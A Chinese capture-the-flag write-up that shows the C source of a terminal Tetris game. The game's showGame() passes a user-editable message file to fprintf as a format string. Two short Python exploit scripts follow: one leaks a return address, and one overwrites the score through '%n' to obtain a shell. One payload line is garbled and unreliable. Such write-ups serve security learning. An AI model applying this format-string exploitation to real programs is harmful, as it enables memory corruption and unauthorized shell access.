            case CHANGE: turnBlock(bl[type][(diret+1)%4]);
                         break;
            case STOP  : gameStop();
                         break;
            case EXIT  : gameEnd();
                         break;
            case UNKNOW: continue;
        }

        /* 画方块 */
        drawBlock(bl[type][diret]);

        /* 显示游戏 */
        showGame();

        /* 清除方块 */
        cleanBlock(bl[type][diret]);
    }

    return 0;
}

/*
 * 函数名:initalGameArea
 * 函数功能:初始化游戏区域
 * 参数:无
 * 返回值:无
*/
void initalGameArea(void)
{
    int i;

    /* 屏幕设置 */
    printf("\033[2J");            // 清屏
    system("stty -icanon");       // 关缓冲
    system("stty -echo");         // 关回显
    fprintf(stdout,"\033[?25l");  // 关闭鼠标显示

    /* 初始化行 */
    for (i = 0; i < COL; i++)
    {
        gameArea[0][i]     = 8;   // 第0行
        gameArea[5][i]     = 8;   // 第5行
        gameArea[ROW-1][i] = 8;   // 最后一行
    }

    /* 初始化列 */
    for (i = 0; i < ROW; i++)
    {
        gameArea[i][0]     = 8;  // 第0列
        gameArea[i][COL-1] = 8;  // 最后一列
    }

    /* 中间一小列 */
    for (i = 1; i < 5; i++)
    {
        gameArea[i][6] = 8;
    }
}


/*
 * 函数名:gameSelf
 * 函数功能:作为信号函数,闹钟时间一到就自动下落
 * 参数:信号
 * 返回值:无
*/
void gameSelf(int signo)
{
    /* 画方块 */
    drawBlock(bl[type][diret]);

    /* 显示游戏 */
    showGame();

    /* 清除方块 */
    cleanBlock(bl[type][diret]);

    /* 如果方块已经到底 */
    if (!checkMove(bl[type][diret],DOWN))
    {
        /* 检查是否游戏结束 */
        checkGameOver(bl[type][diret]);

        /* 保留已经到底的方块 */
        drawBlock(bl[type][diret]);

        /* 显示游戏结果 */
        showGame();

        /* 到达边界后检查是否可消行 */
        checkDeleteLine();

        /* 重新开始下一个方块 */
        startY = 6;
        startX = 7;
        type = nextType;
        nextType = rand()%7;
        diret = 0;
    }
}

/*
 * 函数名:checkDeleteLine
 * 函数功能:检查是否可消行
 * 参数:无
 * 返回值:无
*/
void checkDeleteLine(void)
{
    int i, j;
    int x, y;

    /* 检查当前方块的四行区域内 */
    for (i = 3; i >= 0; i--)
    {
        for (j = 1; j < COL-1; j++)
        {
            /* 检测方块是否满一行 */
            if (gameArea[startY+i][j] == 0)
                break;
            /* 跳过边框区域 */
            else if (gameArea[startY+i][j] == 8)
                break;
        }
        /* 如果满了一行则删除一行 */
        if (j == COL-1)
        {
            /* 删除满了的一行 */
            for (j = 1; j < COL-1; j++)
            {
                gameArea[startY+i][j] = 0;
            }

            /* 分数累加 */
            score += 100;

            /* 记录最高分 */
            if (score > maxScore)
            {
                maxScore = score;
                /* 保存最高分 */
                rewind(fp);
                fprintf(fp,"%u\n",maxScore);
            }

            /* 记录级别 */
            if (score%200 == 0)
            {
                /* 每200分加一级 */
                level++;
            }

            /* 删除后往下移动一行 */
            for (x = 1; x < COL-1; x++)
            {
                for (y = startY+i; y >= 7; y--)
                {
                    gameArea[y][x] = gameArea[y-1][x];
                }
            }

            /* 移动的一行需要检测范围加一行 */
            i++;
        }
    }
}

/*
 * 函数名:checkGameOver
 * 函数功能:检查游戏是否结束
 * 参数:待检查方块数据数据
 * 返回值:无
*/
void checkGameOver(char block[NR][NR])
{
    int i;

    for (i = 0; i < NR; i++)
    {
        /* 方块碰到上方边界则游戏结束 */
        if (block[0][i] != 0 && gameArea[startY-1][startX+i] == 8)
        {
            gameEnd();
        }
    }
}

/*
 * 函数名:turnBlock
 * 函数功�\xbd:旋转方块
 * 参数:需要旋转的方块数组数据
 * 返回值:无
*/
void turnBlock(char bl[NR][NR])
{
    int x, y;

    /* 检查是否越界 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            /* 只能判断到达了边界 */
            if (bl[y][x] != 0 && gameArea[startY+y][startX+x] != 0)
            {
                return;
            }
        }
    }

    /* 两边都没有越界则旋转方块方向 */
    diret = (diret+1)%4;
}

/*
 * 函数名:gameStop
 * 函数功能:暂停游戏,等待用户再次启动游戏
 * 参数:无
 * 返回值:无
*/
void gameStop(void)
{
    /* 创建一个暂停的是时钟 */
    struct itimerval stop = {0}, older;

    /* 设置新闹钟并存储旧闹钟 */
    setitimer(ITIMER_REAL,&stop,&older);

    /* 配置暂停后的界面 */
    state = "\033[31m暂停中...\033[0m";

    // 为了防止按下暂停键后方块下滑一格 
    // TaQini: 增加if(startY>5) 防止数组上溢
    if(startY>5) startY--;

    drawBlock(bl[type][diret]);
    showGame();
    cleanBlock(bl[type][diret]);

    /* 等待用户按开始键或退出键 */
    int key;
    while (1)
    {
        key = fgetc(stdin);

        /* 空格开始 */
        if (key == ' ')
            break;
        /* q 退出 */
        else if (key == 'q')
            gameEnd();
    }

    /* 恢复闹钟和游戏 */
    setitimer(ITIMER_REAL,&older,NULL);
    state = "\033[32m游戏中...\033[0m";
}

/*
 * 函数名:checkMove
 * 函数功能:检查方块是否可移动,能移则移
 * 参数:1.方块数组数据 2.方向标志位
 * 返回值:可移动返回1,不能移动返回0
*/
int checkMove(char bl[NR][NR], int flag)
{
    int m, n;   // 用于标明可移动方向
    int x, y;   // 用于循环

    switch (flag)
    {
        case RIGHT : n = 0; m = 1;  break;
        case LEFT  : n = 0; m = -1; break;
        case DOWN  : n = 1; m = 0;  break;
    }

    /* 全局检查 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            /* 只能判断到达了边界 */
            if (bl[y][x] != 0 && gameArea[startY+y+n][startX+x+m] != 0)
            {
                return 0;
            }
        }
    }

    /* 出来说明没有到达边界 */
    startY += n;
    startX += m;

    return 1;
}

/*
 * 函数名:getInput
 * 函数功能:获取用户输入
 * 参数:无
 * 返回值:无
*/
int getInput(void)
{
    char key;

    key = fgetc(stdin);

    if (key == '\033' && fgetc(stdin) == '[') // 方向键
    {
        switch (fgetc(stdin))
        {
            case 'A': return CHANGE;
            case 'B': return DOWN;
            case 'C': return RIGHT;
            case 'D': return LEFT;
        }
    }
    else if (key == 'q')    // 退出键
    {
        return EXIT;
    }
    else if (key == ' ')    // 空格键-暂停游戏
    {
        return STOP;
    }
    else                    // 其它不相关的键
        return UNKNOW;
}

/*
 * 函数名:drawBlock
 * 函数功能:填充方块数据
 * 参数:方块数组数据
 * 返回值:无
*/
void drawBlock(char block[NR][NR])
{
    int x, y;

    /* 画当前方块 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            if (block[y][x] != 0)
            {
                gameArea[startY+y][startX+x] = block[y][x];
            }
        }
    }

    /* 画提示的下一个方块 */
    for (x = 0; x < 2; x++)
    {
        for (y = 0; y < NR; y++)
        {
            if (bl[nextType][0][x][y] != 0)
                gameArea[3+x][2+y] = bl[nextType][0][x][y];
            else
                gameArea[3+x][2+y] = 0;
        }
    }
}

/*
 * 函数名:cleanBlock
 * 函数功能:清除方块数据
 * 参数:方块数组数据
 * 返回值:无
*/
void cleanBlock(char bl[NR][NR])
{
    int x, y;

    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            if (bl[y][x] != 0)
            {
                gameArea[startY+y][startX+x] = 0;
            }
        }
    }
}

/*
 * 函数名:showGame
 * 函数功能:显示游戏
 * 参数:无
 * 返回值:无
*/
void showGame(void)
{
    int i, j;

    /* 定位到第一行第一列 */
    fprintf(stdout,"\033[1;1H");
    fflush(stdout);

    /* 打印所有数据 */
    for (i = 0; i < ROW; i++)
    {
        for (j = 0; j < COL; j++)
        {
            if (gameArea[i][j] == 0)       // 空白区域
            {
                fprintf(stdout,"  ");
            }
            else if (gameArea[i][j] == 8)  // 边界区域
            {
                fprintf(stdout,"\033[40m  \033[0m");
            }
            else                           // 方块区域
            {
                fprintf(stdout,"\033[%dm  \033[0m",gameArea[i][j]+40);
            }
        }
        fputc('\n',stdout);
    }

    /* 打印提示信息 */
    fprintf(stdout,"\033[2;3H\033[33m【下一个】\033[0m\n");
    fprintf(stdout,"\033[2;15H当前级别:\033[36m%u\033[0m\n",level);
    fprintf(stdout,"\033[3;15H当前分数:\033[32m%u\033[0m\n",score);
    fprintf(stdout,"\033[4;15H最高记录:\033[35m%u\033[0m\n",maxScore);
    fprintf(stdout,"\033[5;15H当前状态:%s\n",state);
    
    /* 实时显示留言 */
    fmsg = fopen("./msg","r+");
    if (NULL == fmsg) exit(0); 
    char message[0x100] = {0};
    fread(message,0x80,1,fmsg);
    fprintf(stdout,"\033[22;1H留言:");
    fprintf(stdout,message);
}

/*
 * 函数名:gameEnd
 * 函数功能:处理游戏结束的设置
 * 参数:无
 * 返回值:无
*/
void gameEnd(void)
{
    /* 配置游戏结束后的界面 */
    state = "\033[31m游戏结束!!\033[0m";
    drawBlock(bl[type][diret]);
    showGame();

    /* 恢复终端设置 */
    system("stty icanon");          // 恢复缓冲
    system("stty echo");            // 恢复回显
    fprintf(stdout,"\033[?25h");    // 恢复鼠标显示

    /* 尾部处理 */
    fprintf(stdout,"\033[200;1H");  // 定位光标到最后一行
    fclose(fp);                     // 关闭文件
    exit(0);                        // 退出程序
}

在showGame()中存在格式化字符串漏洞
而该函数会被循环调用,意味着我们能够多次利用该漏洞
BJDCTF_2nd PWN复盘_第26张图片
msg文件是可以被修改的,recorde(分数)不可以
BJDCTF_2nd PWN复盘_第27张图片
分数要大于666666才能获取shell
BJDCTF_2nd PWN复盘_第28张图片
分数的地址偏移为0x53AC
在这里插入图片描述
首先我们在showGame()函数中泄露程序返回地址(官方WP是%73$p,偏移是0x1180,虽然我也不知道这是什么地方)

#msg.py
f = open("/home/ctf/msg", "w")
payload = "%42$p" #这是showGame()的返回地址
f.write(payload)
f.close()

然后利用下面的脚本修改score(看了官方的WP)

#record.py
#!/usr/bin/python
from struct import pack
from sys import argv
 
start = eval(argv[1])
score = start-0x16D8+0x53ac
 
# hex(666666) = 0xa2c2a
payload = "%20c%8$n" + pack(', score+2)
print hex(score)
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()

把上面两个python文件上传到/tmp下
然后先运行msg.py,再运行els
把泄露的地址作为第一个参数运行record.py
然后玩游戏消了一行即可退出
然后重开游戏就有shell了

你可能感兴趣的:(CTF,WriteUp)